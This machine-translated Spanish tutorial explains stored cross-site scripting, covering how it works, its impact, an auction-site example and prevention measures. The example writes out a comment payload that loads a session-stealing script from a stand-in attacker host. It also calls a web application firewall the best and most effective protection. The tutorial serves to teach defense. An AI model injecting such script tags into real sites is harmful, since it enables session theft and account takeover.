Comprender XSS almacenado en profundidad

En este artículo, comprenderemos en profundidad uno de los tipos de Cross-Site Scripting, es decir, Stored XSS.

¿Qué son las secuencias de comandos almacenadas entre sitios?

  • Las vulnerabilidades de Cross-Site Scripting almacenadas son comunes en las aplicaciones basadas en la web que admiten la interacción entre los usuarios finales o el personal administrativo que accede a los registros y datos de los usuarios dentro de la misma aplicación. Esta vulnerabilidad surge cuando los datos enviados por un usuario se almacenan en la aplicación (generalmente en una base de datos de back-end) y se muestran a otros usuarios sin ser filtrados o desinfectados adecuadamente.
  • Los ataques contra las vulnerabilidades XSS almacenadas suelen implicar al menos dos requests a la aplicación. En la primera solicitud, el atacante publica algunos datos manipulados que contienen código malicioso que contiene la aplicación. En la segunda solicitud, la víctima ve una página que contiene los datos del atacante y el código malicioso se ejecuta cuando se ejecuta el script en el navegador de la víctima.

Explicación esquemática: 

Pasos de XSS almacenados

De la figura anterior

  • Un atacante envía el script malicioso en forma de archivo.
  • Se almacena en la base de datos del sitio web, si el elemento en la aplicación web no se desinfecta
  • El usuario normal o la víctima intenta utilizar la funcionalidad de la aplicación web, pero los scripts maliciosos se ejecutan porque ya están almacenados en la base de datos, y el atacante roba las cookies o la sesión.

Impacto y riesgo: el Cross-Site Scripting almacenado puede tener enormes implicaciones para una aplicación web y sus usuarios.

  1. Un atacante puede secuestrar cuentas de usuario.
  2. Un atacante podría robar las credenciales.
  3. Un atacante podría exfiltrar datos confidenciales.
  4. Un atacante puede obtener acceso a las computadoras de su cliente.

Ejemplo de ataque XSS almacenado:

  • Mientras navega por un sitio web de subastas, un atacante descubre una vulnerabilidad que permite incrustar etiquetas HTML en la sección de comentarios del sitio. Supongamos que un atacante puede publicar un comentario que contiene JavaScript incrustado y la aplicación no lo filtra ni lo desinfecta. En ese caso, un atacante puede publicar un comentario elaborado que hace que se ejecuten secuencias de comandos arbitrarias en el navegador de cualquier persona que vea el comentario, incluido el vendedor y otros compradores potenciales.
  • Como los datos ingresados ​​en el cuadro de comentarios se guardan en la base de datos, si otro usuario solicita datos de comentarios, el script malicioso se devuelve como respuesta al usuario.

El atacante agrega el siguiente comentario: ¡Gran sitio web de subastas! Lee mi reseña aquí

<script src=”http://hackersitelink.com/authstealer.js”> </script>.

  • A partir de esto, cada vez que se acceda a la página, la etiqueta HTML del comentario activará un archivo JavaScript alojado en otro sitio y robará los datos de la sesión de los visitantes.
  • Usando la cookie de sesión, el atacante puede comprometer fácilmente los datos confidenciales de la víctima y apoderarse de la cuenta de la víctima o robar algunos activos preciosos del entendimiento del visitante.
  • Al igual que en un ataque reflejado, donde el script se activa después de hacer clic en un enlace, un ataque almacenado solo requiere que la víctima visite la página web o el elemento web comprometido. XSS almacenado aumenta el impacto a la gravedad, ya que mantiene directamente la carga útil de XSS en la base de datos.

Prevención:

  • Entrada de filtro a la llegada. Cuando el usuario ingresa el script malicioso y solicita al servidor, en ese momento, intente filtrar y desinfectar la entrada.
  • El cortafuegos de aplicaciones web es la mejor y más eficaz solución para proteger las aplicaciones web de los ataques de Cross-Site Scripting.
  • Escapar: escapar de los datos significa tomar los datos que una aplicación ha recibido y garantizar su seguridad antes de entregarlos al usuario final.
  • Validación de la entrada: la validación de la entrada es un proceso para garantizar que la aplicación proporcione los datos correctos y evite que los datos maliciosos dañen el sitio, la base de datos y los usuarios.

Publicación traducida automáticamente

Artículo escrito por gauravgandal y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *